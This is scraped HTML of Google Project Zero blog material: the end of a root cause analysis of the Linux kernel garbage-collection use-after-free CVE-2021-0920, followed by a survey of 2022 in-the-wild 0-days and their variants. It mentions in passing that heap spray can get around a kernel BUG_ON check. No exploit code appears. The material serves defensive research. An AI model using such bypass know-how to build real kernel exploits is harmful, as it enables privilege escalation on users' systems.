<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Andrey Ulanov from Google in 2017 found another issue in </span><span class="ykcrMYlEiJ-c3">unix_gc</span><span> and provided a fix </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://lore.kernel.org/lkml/20170315031642.19576-1-andreyu@google.com/">commit</a></span><span>. Additionally, the patch added a </span><span class="ykcrMYlEiJ-c3">BUG_ON</span><span class="ykcrMYlEiJ-c2"> for the inflight count:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.9ddfb92c81bd3f8420f9ee8f3bc9bd197a02f533"></a><a id="t.20"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> unix_notinflight</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> user_struct </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">user</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> file </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">s</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> unix_sock </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">u </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> unix_sk</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">s</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"> </span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">+</span><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(!</span><span class="ykcrMYlEiJ-c0">atomic_long_read</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">inflight</span><span class="ykcrMYlEiJ-c10">));</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">list_empty</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">link</span><span class="ykcrMYlEiJ-c10">));</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"> </span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">atomic_long_dec_and_test</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">inflight</span><span class="ykcrMYlEiJ-c10">))</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>At first glance, i</span><span>t seems that</span><span> the </span><span class="ykcrMYlEiJ-c3">BUG_ON</span><span> can prevent CVE-2021-0920 from being exploitable. However, if the exploit code can delay garbage collection by crafting a large amount of fake garbage, it can waive the </span><span class="ykcrMYlEiJ-c3">BUG_ON</span><span> check by heap spray.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.f7eb84wuwvc6"><span class="ykcrMYlEiJ-c41">New Garbage Collection</span><span> </span><span class="ykcrMYlEiJ-c41">Discovered </span><span>in 2021</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>CVE-2021-4083 deserves an honorable mention: when I </span><span>discussed</span><span> CVE-2021-0920 with Jann Horn and Ben Hawkes, Jann found another </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2247">issue</a></span><span> in the garbage collection, described in the Project Zero blog post </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html">Racing against the clock -- hitting a tiny kernel race window</a></span><span class="ykcrMYlEiJ-c2">.</span></p>
\<h1 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.4yx7dnb7u7k1"><span class="ykcrMYlEiJ-c36 ykcrMYlEiJ-c34">Part I Conclusion</span></h1>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c28">To recap, we have discussed the kernel internals of </span><span class="ykcrMYlEiJ-c3 ykcrMYlEiJ-c28">SCM_RIGHTS</span><span class="ykcrMYlEiJ-c28"> and the designs and implementations of the Linux kernel garbage collector. Besides, we have analyzed the behavior of </span><span class="ykcrMYlEiJ-c3 ykcrMYlEiJ-c28">MSG_PEEK</span><span class="ykcrMYlEiJ-c28"> flag with the </span><span class="ykcrMYlEiJ-c3 ykcrMYlEiJ-c28">recvmsg</span><span class="ykcrMYlEiJ-c2 ykcrMYlEiJ-c28"> syscall and how it leads to a kernel UAF by a subtle and arcane race condition.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2 ykcrMYlEiJ-c28"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c28">The bug was spotted in 2016 publicly, but unfortunately the Linux kernel community did not accept the patch at that time. Any threat actors who saw the public email thread may have a chance to develop an LPE exploit against the Linux kernel.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>In part two, we'll look at how the vulnerability was exploited and the functionalities of the post compromise modules.</span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-2569785481588169802022-06-30T06:00:00.001-07:002022-06-30T06:00:00.177-07:002022 0-day In-the-Wild Exploitation…so far<style type="text/css">ul.lst-kix_68660h7uawx-0{list-style-type:none}ul.lst-kix_68660h7uawx-1{list-style-type:none}ul.lst-kix_68660h7uawx-2{list-style-type:none}ul.lst-kix_68660h7uawx-3{list-style-type:none}ul.lst-kix_68660h7uawx-4{list-style-type:none}ul.lst-kix_68660h7uawx-5{list-style-type:none}ul.lst-kix_68660h7uawx-6{list-style-type:none}.lst-kix_68660h7uawx-7>li:before{content:"\0025cb "}ul.lst-kix_68660h7uawx-7{list-style-type:none}ul.lst-kix_68660h7uawx-8{list-style-type:none}.lst-kix_68660h7uawx-0>li:before{content:"\0025cf "}.lst-kix_68660h7uawx-6>li:before{content:"\0025cf "}.lst-kix_68660h7uawx-8>li:before{content:"\0025a0 "}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_68660h7uawx-3>li:before{content:"\0025cf "}.lst-kix_68660h7uawx-2>li:before{content:"\0025a0 "}.lst-kix_68660h7uawx-4>li:before{content:"\0025cb "}.lst-kix_68660h7uawx-1>li:before{content:"\0025cb "}.lst-kix_68660h7uawx-5>li:before{content:"\0025a0 "}ol{margin:0;padding:0}table td,table th{padding:0}.HZWKYxoXby-c2{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:156.8pt;border-top-color:#000000;border-bottom-style:solid}.HZWKYxoXby-c9{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:155.2pt;border-top-color:#000000;border-bottom-style:solid}.HZWKYxoXby-c3{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:156pt;border-top-color:#000000;border-bottom-style:solid}.HZWKYxoXby-c19{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:8pt;font-family:"Arial";font-style:normal}.HZWKYxoXby-c15{color:#000000;font-weight:700;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.HZWKYxoXby-c5{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.HZWKYxoXby-c4{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.HZWKYxoXby-c6{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.HZWKYxoXby-c12{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.HZWKYxoXby-c17{border-spacing:0;border-collapse:collapse;margin-right:auto}.HZWKYxoXby-c0{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.HZWKYxoXby-c1{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.HZWKYxoXby-c14{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.HZWKYxoXby-c18{margin-left:36pt;padding-left:0pt}.HZWKYxoXby-c8{color:inherit;text-decoration:inherit}.HZWKYxoXby-c13{padding:0;margin:0}.HZWKYxoXby-c21{font-weight:700}.HZWKYxoXby-c7{height:0pt}.HZWKYxoXby-c20{margin-left:36pt}.HZWKYxoXby-c11{height:11pt}.HZWKYxoXby-c16{margin-left:72pt}.HZWKYxoXby-c10{font-style:italic}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c14 doc-content">
<p class="HZWKYxoXby-c6"><span class="HZWKYxoXby-c5">Posted by Maddie Stone, Google Project Zero</span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span class="HZWKYxoXby-c10">This blog post is an overview of a talk, “ 0-day In-the-Wild Exploitation in 2022…so far”, </span><span class="HZWKYxoXby-c10">that I gave</span><span class="HZWKYxoXby-c10"> at the FIRST conference in June 2022. The slides are available </span><span class="HZWKYxoXby-c1 HZWKYxoXby-c10"><a class="HZWKYxoXby-c81" href="https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf">here</a></span><span class="HZWKYxoXby-c12 HZWKYxoXby-c10">.</span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c12 HZWKYxoXby-c10"></span></p>
<p class="HZWKYxoXby-c6"><span>For the last three years, we’ve published annual year-in-review reports of 0-days found exploited in the wild. The most recent of these reports is the </span><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html">2021 Year in Review report</a></span><span class="HZWKYxoXby-c5">, which we published just a few months ago in April. While we plan to stick with that annual cadence, we’re publishing a little bonus report today looking at the in-the-wild 0-days detected and disclosed in the first half of 2022. </span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span>As of June 15, 2022, there have been 18 0-days detected and disclosed </span><span>as exploited in-the-wild in 2022</span><span class="HZWKYxoXby-c5">. When we analyzed those 0-days, we found that at least nine of the 0-days are variants of previously patched vulnerabilities. At least half of the 0-days we’ve seen in the first six months of 2022 could have been prevented with more comprehensive patching and regression tests. On top of that, four of the 2022 0-days are variants of 2021 in-the-wild 0-days. Just 12 months from the original in-the-wild 0-day being patched, attackers came back with a variant of the original bug. </span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p><a id="t.4fab798cceb7e37dcf71e15c259bff9761363678"></a><a id="t.0"></a><table class="HZWKYxoXby-c17"><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c15">Product</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c15">2022 ITW 0-day</span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c15">Variant</span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">Windows win32k</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html">CVE-2022-21882</a></span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html">CVE-2021-1732</a></span><span class="HZWKYxoXby-c5"> (2021 itw)</span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">iOS IOMobileFrameBuffer</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://support.apple.com/en-us/HT213053">CVE-2022-22587</a></span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html">CVE-2021-30983</a></span><span class="HZWKYxoXby-c5"> (2021 itw)</span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">Windows</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190">CVE-2022-30190</a></span><span class="HZWKYxoXby-c5"> (“Follina”)</span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444">CVE-2021-40444</a></span><span class="HZWKYxoXby-c5"> (2021 itw)</span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">Chromium property access interceptors</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html">CVE-2022-1096</a></span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://bugs.chromium.org/p/chromium/issues/detail?id=619166">CVE-2016-5128</a></span><span> </span><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30551.html">CVE-2021-30551</a></span><span> (2021 itw) </span><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2280">CVE-2022-1232</a></span><span class="HZWKYxoXby-c5"> (Addresses incomplete CVE-2022-1096 fix)</span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">Chromium v8</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_14.html">CVE-2022-1364</a></span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_30.html">CVE-2021-21195</a></span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">WebKit</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22620.html">CVE-2022-22620</a></span><span class="HZWKYxoXby-c5"> (“Zombie”)</span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.blogspot.com/2022/06/an-autopsy-on-zombie-in-wild-0-day.html">Bug was originally fixed in 2013, patch was regressed in 2016</a></span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">Google Pixel</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://source.android.com/security/bulletin/pixel/2022-03-01">CVE-2021-39793</a></span><span class="HZWKYxoXby-c5">*</span></p>
<p class="HZWKYxoXby-c0 HZWKYxoXby-c11"><span class="HZWKYxoXby-c19"></span></p>
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c19">* While this CVE says 2021, the bug was patched and disclosed in 2022</span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cd5297b0855f17c8b4e3ef1d20c6a3656209c7b3">Linux same bug in a different subsystem</a></span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">Atlassian Confluence</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html">CVE-2022-26134</a></span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html">CVE-2021-26084</a></span></p></td></tr><tr class="HZWKYxoXby-c7"><td class="HZWKYxoXby-c9" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c5">Windows</span></p></td><td class="HZWKYxoXby-c2" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26925">CVE-2022-26925</a></span><span class="HZWKYxoXby-c5"> (“PetitPotam”)</span></p></td><td class="HZWKYxoXby-c3" colspan="1" rowspan="1">
<p class="HZWKYxoXby-c0"><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942">CVE-2021-36942</a></span><span class="HZWKYxoXby-c5"> (Patch regressed)</span></p></td></tr></table>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span class="HZWKYxoXby-c21">So, what does this mean?</span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span>When people think of 0-day exploits, they often think that these exploits are so technologically advanced that there’s no hope to catch and prevent them. The data paints a different picture. At least half of the 0-days we’ve seen so far this year are closely related to bugs we’ve seen before. Our conclusion and findings in the </span><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html">2020 year-in-review report</a></span><span class="HZWKYxoXby-c5"> were very similar.</span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span>Many of the 2022 in-the-wild 0-days are due to the previous vulnerability not being fully patched. In the case of the Windows win32k and the Chromium property access interceptor bugs, the execution flow that the proof-of-concept exploits took were patched, but the root cause issue was not addressed: attackers were able to come back and trigger the original vulnerability through a different path. And in the case of the WebKit and Windows PetitPotam issues, the original vulnerability had previously been patched, but at some point regressed so that attackers could exploit the same vulnerability again. In the iOS IOMobileFrameBuffer bug, a buffer overflow was addressed by checking that a size was less than a certain number, but it didn’t check a minimum bound on that size. For more detailed explanations of three of the 0-days and how they relate to their variants, please see the </span><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf">slides from the talk</a></span><span class="HZWKYxoXby-c5">.</span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span class="HZWKYxoXby-c5">When 0-day exploits are detected in-the-wild, it’s the failure case for an attacker. It’s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can’t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they’re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that effectively, we need correct and comprehensive fixes.</span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span class="HZWKYxoXby-c5">This is not to minimize the challenges faced by security teams responsible for responding to vulnerability reports. As we said in our 2020 year in review report: </span></p>
<p class="HZWKYxoXby-c6 HZWKYxoXby-c20"><span class="HZWKYxoXby-c12 HZWKYxoXby-c10">Being able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done. </span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c12 HZWKYxoXby-c10"></span></p>
<p class="HZWKYxoXby-c6 HZWKYxoXby-c20"><span class="HZWKYxoXby-c10 HZWKYxoXby-c12">Exactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.</span></p>
<p class="HZWKYxoXby-c6"><span class="HZWKYxoXby-c5"> </span></p>
<p class="HZWKYxoXby-c6"><span>Practically, </span><span>some of the</span><span class="HZWKYxoXby-c5"> following efforts can help ensure bugs are correctly and comprehensively fixed. Project Zero plans to continue to help with the following efforts, but we hope and encourage platform security teams and other independent security researchers to invest in these types of analyses as well:</span></p><ul style="padding: 0;" class="c13 lst-kix_68660h7uawx-0 start"><li style="margin-left: 46pt;" class="c6 c18 li-bullet-0"><span class="HZWKYxoXby-c5">Root cause analysis</span></li></ul>
<p class="HZWKYxoXby-c6 HZWKYxoXby-c16"><span class="HZWKYxoXby-c5">Understanding the underlying vulnerability that is being exploited. Also tries to understand how that vulnerability may have been introduced. Performing a root cause analysis can help ensure that a fix is addressing the underlying vulnerability and not just breaking the proof-of-concept. Root cause analysis is generally a pre-requisite for successful variant and patch analysis.</span></p><ul style="padding: 0;" class="c13 lst-kix_68660h7uawx-0"><li style="margin-left: 46pt;" class="c6 c18 li-bullet-0"><span class="HZWKYxoXby-c5">Variant analysis</span></li></ul>
<p class="HZWKYxoXby-c6 HZWKYxoXby-c16"><span class="HZWKYxoXby-c5">Looking for other vulnerabilities similar to the reported vulnerability. This can involve looking for the same bug pattern elsewhere, more thoroughly auditing the component that contained the vulnerability, modifying fuzzers to understand why they didn’t find the vulnerability previously, etc. Most researchers find more than one vulnerability at the same time. By finding and fixing the related variants, attackers are not able to simply “plug and play” with a new vulnerability once the original is patched.</span></p><ul style="padding: 0;" class="c13 lst-kix_68660h7uawx-0"><li style="margin-left: 46pt;" class="c6 c18 li-bullet-0"><span class="HZWKYxoXby-c5">Patch analysis</span></li></ul>
<p class="HZWKYxoXby-c6 HZWKYxoXby-c16"><span class="HZWKYxoXby-c5">Analyzing the proposed (or released) patch for completeness compared to the root cause vulnerability. I encourage vendors to share how they plan to address the vulnerability with the vulnerability reporter early so the reporter can analyze whether the patch comprehensively addresses the root cause of the vulnerability, alongside the vendor’s own internal analysis.</span></p><ul style="padding: 0;" class="c13 lst-kix_68660h7uawx-0"><li style="margin-left: 46pt;" class="c6 c18 li-bullet-0"><span class="HZWKYxoXby-c5">Exploit technique analysis</span></li></ul>
<p class="HZWKYxoXby-c6 HZWKYxoXby-c16"><span>Understanding the primitive gained from the vulnerability and how it’s being used. While it’s generally industry-standard to patch vulnerabilities, mitigating exploit techniques doesn’t happen as frequently. While not every exploit technique will always be able to be mitigated, the hope is that it will become the default rather than the exception. Exploit samples will need to be shared more readily in order for vendors and security researchers to be able to perform exploit technique analysis.</span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
<p class="HZWKYxoXby-c6"><span>Transparently sharing these analyses helps the industry as a whole as well. We publish our analyses at </span><span class="HZWKYxoXby-c1"><a class="HZWKYxoXby-c81" href="https://googleprojectzero.github.io/0days-in-the-wild/rca.html">this repository</a></span><span class="HZWKYxoXby-c5">. We encourage vendors and others to publish theirs as well. This allows developers and security professionals to better understand what the attackers already know about these bugs, which hopefully leads to even better solutions and security overall. </span></p>
<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>
